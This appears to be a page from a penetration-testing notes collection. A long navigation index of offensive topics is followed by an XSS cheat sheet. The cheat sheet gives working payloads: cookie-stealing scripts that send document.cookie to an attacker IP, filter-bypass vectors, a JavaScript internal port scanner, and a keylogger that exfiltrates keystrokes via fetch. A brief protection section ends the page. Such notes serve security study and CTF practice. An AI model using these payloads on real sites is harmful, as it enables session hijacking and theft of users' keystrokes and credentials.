Crypto

Openssl

- openssl
- openssl_engine

- rsa

Enumeration

Containers

Docs

- aws
- cewl
- dns
- docker_enumeration
- ffuf
- gobuster
- kerberoast
- kubectl
- ldap
- linux_basics
- microk8s
- nfs
- nikto
- nmap
- port_knocking
- rpcclient
- rsync
- rustscan
- shodan
Snmp

- onesixtyone
- snmpcheck

- websites
- wfuzz
- wpscan

Network_scanners

Windows

- bloodhound
- event_log
- manual_enum
- powershell
- rpcclient
- sysinternals
- sysmon
- vss

Exfiltration

Dns

- dns

Linux

- nc
- wget

Windows

- evil-winrm
- loot
- smb_connection

Exploit

CPUs

- meltdown

Binaries

- aslr
Buffer_overflow

Docs

- amd64
- amd64_instructions
- buffer_overflow
- cut_stack_in_half
- pwntools_specifics
- ret_address_reuse

- ropping

Canary_bypass

- canary_bypass

Format_string

- format_string

Integral_promotion

- integral_promotion

- plt_got
- r2
- ret2libc

Dns

- zone_transfer

Hashes

- collision

Imagemagick

- imagetragick

Java

OGNL

- cve_2022_26134

- ghidra_debug
- ghostcat
- log4shell
- spring4shell

Level3_hypervisor

Docker_sec

- docker

- kubernetes
- lxc
- microk8s

Linux

- capabilities
Dirty_pipe

- dirty_pipe

- exiftool
- groups
- ld_preload
- nfs_rootsquash
- overlayfs
Pkexec

- CVE_2021_4034

- polkit
- racing_conditions
- setcap
- shared_object_injection
- shell_shock
Sudo

- CVE_2019_14287
- CVE_2019_18634
- baron_samedit
- tokens

- wildard_exploitation

MacOS

Network

- mac_spoofing

Padding

- padbuster

Python

- code_injection
- jail_escape
- lib_hijack
- pickle
- pwntools
- pyc
- scapy

Samba

- smbmap

Sqli

- mssql
- no_sqli
- sqli
- sqlmap

Ssl_tls

- heartbleed

Web

Bypass_rate_limiting

- bypass_rate_limiting

- command_injection
Content_security_policy

- content_security_policy

- cookie_tampering
- csrf
Forced_browsing

- forced_browsing

- http_header_injection
Idor

- idor

Javascript

- bypass_filters
- prototype_pollution

Jwt

- jwt

- local_file_inclusion
- methodology
Nodejs

- deserialization

Php

- command_injection
- password_reset
- php_base64_filter
- php_image_exif
- php_user_agent_rce
- preload_lib
- unserialize

- re_registration
- remote_file_inclusion
Ssrf

- iframe
- ssrf

Ssti

- ssti

- url_forgery
- wordpress
- xpath
- xss
Xxe

- wp_xxe_
- xml_external_entity

Windows

Dll_hijacking

- dll_hijacking

Docs

- always_installed_elevated
- crackmapexec
- dpapi
- impacket
- llmnr
- lnk_exploit
- pass_the_hash
- password_in_registry
- potatoes
- printnightmare
- responder
- unquoted_path

Macros

- macros

Payloads

- windows_scripting_host

Print_nightmare

CVE-2021-1675

Nightmare-dll

- print_nightmare

Process_injection

- dll_injection
- process_hollowing
- shellcode_injection
- thread_hijacking

Service_escalation

- service_escalation

Zero_logon

- zero_logon

Yaml

- deserialization

Forensics

- ios
- kape
- ntfs
- oletools
- volatility
- windows_registry

Hashes

Bruteforce

- generate_wordlists
- haiti
- hashcat_utils
Password_cracking

- hydra
- john
- smb_challenge
- sucrack
- vnc

Password_guessing

- standard_passwords

Misc

Active_directory

- AD_CS
- active_directory
- ad_enumeration
- ad_misconfiguration
- ad_persistence
- gaining_foothold_AD
- lateral_movement

- bash
- clamav
- gitTools
- hadoop
- metasploit
Printer_hacking

- preta

- responder
- sandbox_evasion
- smtp
- snort
Telecommunications

_sipvicious

.github

ISSUE_TEMPLATE

- bug-report
- custom

Sipvicious

- sip_vicious

Threat_intelligence

- isac
- loki
- osquery
- pithus
- siem
- splunk
- yara

Wifi

- airmon-ng

Osint

- recon_ng
Social_engineering

- gophish
- phishing_domain

- spiderfoot
- theharvester

Persistence

- bashrc
- crontab
- meterpreter
- persistence
- wmi

Post exploitation

Seatbelt

.github

ISSUE_TEMPLATE

- bug_report
- feature_request

- CHANGELOG
Seatbelt

Commands

Windows

EventLogs

Output

Bc_security

Docs

- c2
- crackmapexec
- empire
- ids_ips_evation
- linux
- metasploit
- mimikatz
- mitm
- nfs_root_squash
- powershell
- secretsdump
Windows

- antivirus_evasion
- applocker
- evade_event_tracing
- living_off_the_land
- pass_the_hash
- powershell_logs
- registry
- sebackupprivilege
- user_account_control

- pivoting
Priv_esc

Docs

- linux_priv_esc
- pspy
Windows

- add_user
- windows_priv_esc

Kernel-exploits

Privesc-scripts

Docs

- get_script_onto_target

Suid

Reverse engineering

Android

- misc

Docs

- deobfuscation
- dll_reversing
- firmware
- function_mangling
- scada

Java

- krakatau

Reverse shells

Docs

- evil-winrm
- msfconsole
- msfvenom
- netcat
- powershell
- shell_upgrade
- socat
- webshell

- firewalls
Windows

Stego

Docs

- outguess
- remnux
- stegbrute
- steghide
- stegoveritas
- zsteg

- Cross-Site Scripting
  - Stored XSS
    - Examples
  - Reflected XSS
    - Usage
  - DOM based XSS
    - Usage
  - Bypass Filters
  - Portscanner via Javascript
  - Keylogger
  - Tab Nabbing
  - Tricks and Tips
  - Protection Methods

# Cross-Site Scripting

A web application is vulnerable to XSS if it uses unsanitized user input. XSS is possible in Javascript, VBScript, Flash and CSS.

## Stored XSS

This is where a malicious string originates from the websites database. Such as (stored in a db) * User profiles * Chats and comments * Part of link

- Blind xss is stored inside the app but effects are only visible by proxy, xsshunter.

### Examples

- Sanity test by changing DOM content

    <script>document.getElementById('myIdName').innerHTML="napf"</script>

- Cookie stealing

    <script>document.location='/log/'+document.cookie</script>

    * Navigte to `/logs` and take sid

- Open nc port and collect cookies

    <script>document.location='http://<attacker-IP>:<attacker-Port>/XSS/grabber.php?c='+document.cookie</script>
    <script>var i=new Image;i.src="http://<attacker-IP>:<attacker-Port>/?"+document.cookie;</script>

## Reflected XSS

In a reflected cross-site scripting attack, the malicious payload is part of the victims request to the website. The website includes this payload in response back to the user. To summarise, an attacker needs to trick a victim into clicking a URL to execute their malicious payload. * URL parameters inside GET queries * File paths

### Usage

As script inside parameter

    http://example.com/search?keyword=<script>...</script>

- Show server IP

    http://example.com/reflected?keyword=<script>alert(window.location.hostname)</script>

- Session stealing, base64 encoded

    <script>fetch('http://<attacker-IP>/steal?cookie=' + btoa(document.cookie));</script>

    * open netcat binder to catch the http queries

## DOM based XSS

With DOM-Based xss, an attackers payload will only be executed when the vulnerable Javascript code is either loaded or interacted with. It goes through a Javascript function like so:

    var keyword = document.querySelector('#search')
    keyword.innerHTML = <script>...</script>

### Usage

- Find the sub-object inside the document

    test" onmouseover="alert('YO!')"

- Show cookie

    test" onmouseover="alert(document.cookie)"

## Bypass Filters

- `<script>` sanitizing

    <img src=x onerror=alert('Hello');>

or

    <</script>script>alert("1");<</script>/script>

- `alert()` sanitizing

    0\"autofocus/onfocus=alert(1)--><onerror=prompt(2)>"-confirm(3)-"

or

    0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"

- Strings, here its `Hello`

    <style>@keyframes slidein {}</style><xss style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert('Hello')"></xss>

## Portscanner via Javascript

- By requesting the favicon, checking port 80

     <script>
     for (let i = 0; i < 256; i++) {
      let ip = '192.168.0.' + i

      let code = '<img src="http://' + ip + '/favicon.ico" onload="this.onerror=null; this.src=/log/' + ip + '">'
      document.body.innerHTML += code
     }
    </script>

- pdp's portscanner

## Keylogger

     <script type="text/javascript">
     let l = ""; // Variable to store key-strokes in
     document.onkeypress = function (e) { // Event to listen for key presses
       l += e.key; // If user types, log it to the l variable
       console.log(l); // update this line to post to your own server
     }
    </script>

- base64 encoded keylogger

    <script>
    document.onkeypress = function (e) {
        fetch('http://<attacker-IP>/log?key=' + btoa(e.key) );
    }
    </script>

## Tab Nabbing

- Redirection of source after opening a tab through a provisioned link and back referencing
- Hacktricks Tabnabbing

## Tricks and Tips

- Use Polyglots
- XSS Filter Evasion Cheat Sheet
- Close the a vulnerable, exploitable tag and open a script tag

    </tag><script>alert(1);</script>

## Protection Methods

There are many ways to prevent XSS, here are the 3 ways to keep cross-site scripting our of your application.

1. Escaping - Escape all user input. This means any data your application has received is secure before rendering it for your end users. By escaping user input, key characters in the data received but the web page will be prevented from being interpreter in any malicious way. For example, you could disallow the < and > characters from being rendered.

2. Validating Input - This is the process of ensuring your application is rendering the correct data and preventing malicious data from doing harm to your site, database and users. Input validation is disallowing certain characters from being submit in the first place.

3. Sanitising - Lastly, sanitizing data is a strong defence but should not be used to battle XSS attacks alone. Sanitizing user input is especially helpful on sites that allow HTML markup, changing the unacceptable user input into an acceptable format. For example you could sanitise the < character into the HTML entity <